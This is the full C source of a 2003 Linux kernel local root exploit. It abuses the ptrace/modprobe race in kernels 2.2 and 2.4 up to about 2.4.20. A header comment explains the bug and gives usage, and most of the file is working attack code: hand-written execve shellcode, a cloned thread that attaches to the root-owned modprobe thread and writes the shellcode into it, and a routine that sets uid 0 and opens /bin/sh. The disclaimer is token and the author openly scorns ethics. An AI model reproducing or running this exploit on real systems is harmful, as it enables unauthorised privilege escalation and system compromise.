/*
 * There was :
 * http://www.uwsg.iu.edu/hypermail/linux/kernel/0303.2/0271.html
 * Alan Cox, "Ptrace hole / Linux 2.2.25", linux kernel mailing list,
 * Mar 17 2003,
 *
 * Exploited by :
 * http://isec.pl/cliph/isec-ptrace-kmod-exploit.c
 * done by Wojciech Purczynski <cliph@isec.pl>
 * Mar 18, 2003.
 * (Wojciech claims he found the bug Jan 25, 2003.)
 *
 * Now, there is :
 * http://sed.free.fr/ptrace.c
 * which is the file you have in your hands.
 * done by Sed,
 * Mar 20, 2003.
 *
 * Based on the bug announce, I tried to kick an exploit.
 * I found the socket stuff easily, but was sticked with how to
 * ptrace modprobe in a proper way. One has to use SIGCHLD to be
 * notified of ptrace success, and I used waitpid, which leaded
 * to a non-working ptrace stuff.
 * The previous exploit do it the right way. I am stupid (but who
 * gives a shit ?). Greetings to Wojciech. He did the thing.
 *
 * What is going on ?
 * When you do socket(x, y, z), if the address family x is not
 * found in the kernel's table, the kernel creates a thread
 * (with root privileges) that exec modprobe, to look for
 * the appropriate module.
 * The problem is that when a process A forks (creating a son B),
 * if A calls socket(x, y, z), B can ptrace the newly created
 * kernel thread, and then replace its memory content (the code
 * it runs for instance).
 *
 * Why another exploit ? the other works fine !
 * About the design of the exploit, Wojciech's one will fork,
 * then the dad will do its socket, the son will ptrace modprobe,
 * and inject code that will chmod/chown the exploit itself.
 * The dad will check that the file is now suid, and exec itself.
 * The new execution will see it is a suid program, and launch
 * a shell.
 *
 * My exploit creates a thread, so that son and dad can talk
 * with shared variables (we could set up a shared memory stuff
 * with Wojciech's approach, but well...). dad will socket,
 * son will ptrace and inject a code that will execve the exploit
 * again, which will be root. The exploit will then call /bin/sh
 * after cleaning up things so that the shell can work.
 *
 * (If one knows how to setup the "/dev/tty" stuff in a proper
 * way, let me know. Here, I simply detach from it, which
 * leads /bin/sh to say : sh: no job control in this shell
 * which is not very clean.)
 *
 * do_root could be anything you need.
 * You even can use this hole with another remote hole (in ssh
 * for instance). You can inject code that will clone, socket,
 * ptrace, and set up a little daemon. Not too tricky (but maybe
 * too much code to inject) (well, I don't give a shit).
 *
 * I like my approach better, since one doesn't rely on
 * the suid stuff of the file system to let it work (think
 * about nfs).
 *
 * How to use it ?
 * Well, compile and run. If you don't get a root shell,
 * just try again, and again. If you don't get it after
 * let's say 10 tries, you probably never will get a root
 * shell with this exploit on the target host.
 *
 * Why does it not work ?
 * If your kernel doesn't have module support (which definitely is
 * a good thing, in my humble opinion), this exploit won't work.
 * If your kernel doesn't have net support, that's the same.
 *
 * It works for kernel 2.2 and 2.4 up to 2.4.20 or something
 * like that.
 *
 * You may have to modify it to let it work on your system.
 *
 * Sed.
 * Mar 20 2003
 * sed@free.fr
 * http://sed.free.fr
 *
 * This code is in the public domain.
 * Any licence of any kind is a bad thing.
 *
 * I don't give a shit if you destroy any data with this program,
 * simply I just must tell you not to do it, this is for educational
 * purpose only. Most of the countries of this little planet
 * condamn breaking into systems, so don't do it. Don't be more
 * stupid than they are...
 *
 * Take care of yourself, enjoy your like. Period.
 *
 * Should we release exploits ?
 * Everyone knows who will use the exploits, those stupid
 * script kiddies digging around, seeking the 0-day they
 * need.
 * Serious people only need advisories and patches. They
 * don't need exploits.
 * This is surely right. Exploits are used by assholes.
 * But they sometimes are used against other assholes (let's
 * say big companies, states and the like), so...
 * Anyway, I don't give a shit. There is no moral in all
 * this. Just fame, shame, lameness.
 *
 * Sorry for my bad english.
 *
 */

/* maybe some include are useless here :) */
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sched.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <linux/user.h>
#include <sys/socket.h>
#include <errno.h>
#include <time.h>
#include <string.h>
#include <fcntl.h>
#include <sys/param.h>
#include <grp.h>
#include <sys/types.h>

/* the shared variables between the two threads */
volatile int done=0;
volatile int attached=0;

/* the injected code simply execve the program */
unsigned char shell[] = {
0xeb, 0x13,
0x5b,
0x89, 0xd9,
0x83, 0xc3, 0x08,
0x31, 0xd2,
0x31, 0xc0,
0xb0, 0x0b,
0xcd, 0x80,
0x31, 0xc0,
0x40,
0xcd, 0x80,
0xe8, 0xe8, 0xff, 0xff, 0xff
/*
which is the code :
Disassembly of section .text:

08048074 <_start>:
 8048074:       eb 13                   jmp    8048089 <end>

08048076 <l1>:
 8048076:       5b                      pop    %ebx
 8048077:       89 d9                   mov    %ebx,%ecx
 8048079:       83 c3 08                add    $0x8,%ebx
 804807c:       31 d2                   xor    %edx,%edx
 804807e:       31 c0                   xor    %eax,%eax
 8048080:       b0 0b                   mov    $0xb,%al
 8048082:       cd 80                   int    $0x80
 8048084:       31 c0                   xor    %eax,%eax
 8048086:       40                      inc    %eax
 8048087:       cd 80                   int    $0x80

08048089 <end>:
 8048089:       e8 e8 ff ff ff          call   8048076 <l1>
*/
};

char buf[2048];

void sigch(int s)
{
  done ++;
}

/* the stack of the son, 65536 words should be enough for everyone */
int stack1[65536];
int thread1(void *pn)
{
  char *progname = (char *)pn;
  struct user_regs_struct regs;
  int err;
  int turn=0;
  int p = getpid()+1;
  unsigned char *s, *t;
  unsigned long argv;
  long len;

  done = 0;

  signal(SIGCHLD, sigch);

  /* if we are lucky, and the system not to load, modprobe
   * may get getpid()+1 process id, if not, all the following
   * will fail :)
   */
  fprintf(stderr, "trying to catch %d\n", p);

  /* same as Wojciech, expect he uses an alarm to stop,
   * 10,000 turns should be enough, you may have to change
   * it if the exploit does not work.
   */
  do {
    err = ptrace(PTRACE_ATTACH, p, 0, 0);
    turn++;
    if (turn == 10000) exit(0);
  } while (err == -1 && errno == ESRCH);

  if (err == -1)
    exit(0);

  /* we wait for the SIGCHLD */
  while(!done);
  done = 0;

  /* we must ptrace syscall here, because modprobe
   * might have its eip in the kernel space, which
   * can't be changed. With this ptrace, modprobe
   * will have its eip in user space the next time
   * we stop it.
   */
  if (ptrace(PTRACE_SYSCALL, p, 0, 0) == -1) {
    perror("ptrace 1");
    ptrace(PTRACE_KILL, p, 0, 0);
    kill(p, SIGKILL);
    exit(0);
  }

  while (!done);
  done = 0;

  /* we get eip, to inject code */
  if (ptrace(PTRACE_GETREGS, p, 0, &regs) == -1) {
    perror("ptrace 2");
    ptrace(PTRACE_KILL, p, 0, 0);
    kill(p, SIGKILL);
    exit(0);
  }

  t = (unsigned char *)regs.eip;

  fprintf(stderr, "eip = %8.8lx\n", regs.eip);

  memset(buf, 0, sizeof(buf));

  /* let's put the code in the buffer */
  memcpy(buf, shell, sizeof(shell));

  /* then let's create a dummy *argv[] for execve */
  argv = (unsigned long)(t+sizeof(shell)+8);
  memcpy(buf+sizeof(shell), &argv, 4);
  argv=0;
  memcpy(buf+sizeof(shell)+4, &argv, 4);

  /* then, put the filename of the executable */
  memcpy(buf+sizeof(shell)+8, progname, strlen(progname)+1);

  len = sizeof(shell) + 8 + strlen(progname) + 1;

  /* put all this in the memory of the process */
  for (s=buf; len > 0; s+=4, t+=4, len-=4)
    if (ptrace(PTRACE_POKETEXT, p, t, *(unsigned long *)s) == -1) {
      perror("ptrace 3");
      ptrace(PTRACE_KILL, p, 0, 0);
      kill(p, SIGKILL);
      exit(0);
    }

  /* let our code be executed */
  ptrace(PTRACE_DETACH, p, 0, 0);

  /* tell the father we did it */
  attached=1;

  fprintf(stderr, "we set all up\n");

  exit(0);
}

/* one has to detach from /dev/tty for /bin/sh to run "properly"
 * don't know why... (terminal stuff is tricky I think)
 * if you have a better solution, drop me a line
 */
void detach(void)
{
  int fd;

  /* this code is not very understood :)
   * it works, so well.
   * I lost lots of time with it, for only 6 lines, damned...
   */
  fd = open("/dev/tty", O_RDWR);
  if (fd == -1) exit(0);
  if (dup2(fd, 0) == -1) exit(0);
  if (dup2(fd, 1) == -1) exit(0);
  if (dup2(fd, 2) == -1) exit(0);

  if (ioctl(fd, TIOCNOTTY) == -1) exit(0);

  return;
}

int do_root(void)
{
  char *s[]={"/bin/sh", 0};
  char *e[]={"HOME=/", "PATH=/bin:/usr/bin:/sbin:/usr/sbin", 0};

  initgroups("root", 0);
  setgid(0);
  setuid(0);

  /* you are now root, you can change the code below to fit
   * your needs. We simply run /bin/sh here
   */

  detach();

  execve(s[0], s, e);

  return 0;
}

int main(int n, char **v)
{
  char *prog;
  int run=0;
  int th;

  /* for execve of the modprobe, we must give full pathname */
  if (v[0][0]=='/') prog = v[0];
  else {
    /* there is probably a better way, but well... */
    int l1, l2;
    char *t = getenv("PWD");
    if (!t) {
      perror("getenv");
      return 0;
    }
    l1 = strlen(t);
    l2 = strlen(v[0]);
    prog = malloc(l1 + l2 + 2);
    if (!prog) {
      perror("malloc");
      return 0;
    }
    strncpy(prog, t, l1);
    prog[l1] = '/';
    strcpy(prog+l1+1, v[0]);
  }

  /* the shell code will run us again, test if this is it */
  if (geteuid() == 0) return do_root();

  while (!attached) {

    /* clone is fun, no ? */
    if ((th=clone(thread1, stack1+65535, CLONE_VM | SIGCHLD, prog)) == -1) {
      perror("clone\n");
      exit(0);
    }

    fprintf(stderr, "one clone created\n");

    /* the magic socket call, which will launch modprobe.
     * 27 has been chosen, as it seems this address family
     * corresponds to nothing, see /usr/include/linux/socket.h
     */
    socket(27, 0, 0);
    waitpid(th, 0, 0);

    run++;
    if (run > 100) break;
  }

  fprintf(stderr, "dad is over %d\n", getpid());

  return 0;
}
